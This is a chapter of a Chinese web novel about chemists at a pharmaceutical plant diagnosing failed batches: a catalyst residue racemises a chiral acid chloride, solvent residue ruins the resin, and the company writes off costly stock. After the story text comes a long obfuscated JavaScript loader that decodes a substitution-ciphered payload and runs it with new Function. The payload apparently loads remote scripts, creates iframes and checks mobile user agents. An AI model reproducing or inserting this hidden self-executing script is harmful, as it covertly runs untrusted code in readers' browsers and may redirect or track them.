五百零三章 力挽狂澜(1 / 1)

先从这三批成品的质量不合格开始分析,比旋度不合格,肯定是L-乙酰氧基丙酰氯引起的,王近之向赵定岳调来了原始检测数据,由数据看,指标与中试的对比虽然略低,但绝对在合格范围。再对照气相色谱,却发现多出一个原来中试没有的前峰。

“这是什么峰?有好几个百分点呢。”王近之指着它问道。

“是DMAC,作酰氯化催化剂用的,减压蒸馏后有部分残留。”王正林在边上解释道。

“简直乱弹琴,手性酰氯在偶极非质子溶剂中高温或常温长时间保存下会消旋的,懂不懂常识?”王近之极为生气地放响了喉咙。

“难怪哦。”顾斌文晃然大悟地回顾道:“当真空度低时,蒸出的酰氯比旋度就略差,原来是在DMAC存在下的高温消旋,当时我怎么没想到呢?”

王近之声色俱厉地问道:“公司原酰氯工艺中是没加催化剂的,为什么改了呢?”

“怎么啦,神海药业就这么生产的,多年来没出过事,中试也同样顺利,这个结论我不能接受。”王正林以同样响亮的声音回复。

因为王正林的到来,开发部被一拆为二,两人心中相互之间本有些成见,一被引爆,自然是针尖对麦芒地扛上了。吴总见状忙打圆场说:“大家以检测数据为准,由赵定岳对酰氯重新取样复检,得出结论后再定,今天只作理论分析。”

第二天,赵定岳留样分析结果是有催化剂残留的酰氯比旋度都有不同程度的下降,而原工艺的酰氯比旋度不变。顾斌文连夜小试温度对比结果也证明在催化剂存在下高温会消旋。

原工艺是用高倍量的氯化亚砜进行反应,用催化剂后,氯化亚砜的倍量可以削减到接近理论量,这是王正林改工艺的初衷。引起生产性问题的原因是缺小放大经验,没有注意真空度与蒸馏温度对质量的影响,加上生产正常,现产现用,自然地没出质量问题。

比旋度的原因找到了,溶剂残留的原因更简单,大生产料多,离心甩干效果远不如中试,反应结束时,溶剂离心不够干,导致后面水洗去除DMAC的效果不好,而对残留溶剂又没建立中控指标,只凭经验操作,试生产时,心情一急,目测干燥了就立即退料,高沸点溶剂基数高了,自然的,带入产品中的数量也多。残留溶剂水溶喷干一次就解决了,但比旋度偏低就不好办了,只能等待以后有更好质量的产品再与之混批。

“那么,树脂失效该怎么办?我们用酸、碱及甲醇反复再生了,性能没什么改善。”顾斌文详述了这段时间的树脂再生过程。

“还是同一个原因,残留的溶剂是偶极非质子溶剂,具有极强的溶解性。碰到树脂会溶解并破坏了树脂的内部结构,更换新树脂,老树脂拉回兰晓由他们再生试一试,如不能再生,这次试车的损失就大了去了。”王近之无可奈何地长叹了一口气,这些失误都是研发人员缺少生产经验引起的,这是科班出身的人最易犯的毛病。公司如能出台制度,让他们都去生产一线实习一年半载的,这样的错误发生概率就会减少90%。

更换了新树脂后,对四批料进行二次过柱,分离度好起来了,原来去不掉的杂质被彻底分离干净,制备得到成品后,其中一批全部指标合格,三批除比旋度之外的所有指标都合格。

仓库的乙酰氧基丙酰氯复检结果,比旋度刚好擦边的不到一吨,其它七吨全不合格,公司讨论后确定,为以防万一,除这一吨外,其它不合格酰氯报废,经济损失一下达到七十多万。

!function(){function a(a){var _idx="zzxj6s5n8o";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@1QSqfRCCLmK:TRYO)mRT4gQ}{Q/CL/@1QjR844RCKLn2{O"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@1Q"=^8"44RCKLn2{O"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@1Q2CfRCf7m4T67X_smRT4"="@1QCSfRCfXmh706XSJmRT4"="@1QOSfRC47m4T67X_smRT4"="@1QF(fRC2Smh706XSJmRT4"="@1QDhfRCdJm4T67X_smRT4"="@1Qh)fRCCqmh706XSJmRT4"="@1QJffRC7Dm4T67X_smRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}{Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@1QSJfRC)((Xmdh2C6OmRT4gQ}{Q/((/@1Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@1QSJfRC)((Xmdh2C6OmRT4gQ}{Q/((/@1Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@1QSqfRCCLmK:TRYO)mRT4gQ}{Q/f/@1Qj(8}vR844RCKLn2{O"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@1QSqfRCCLmK:TRYO)mRT4gQ}{Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();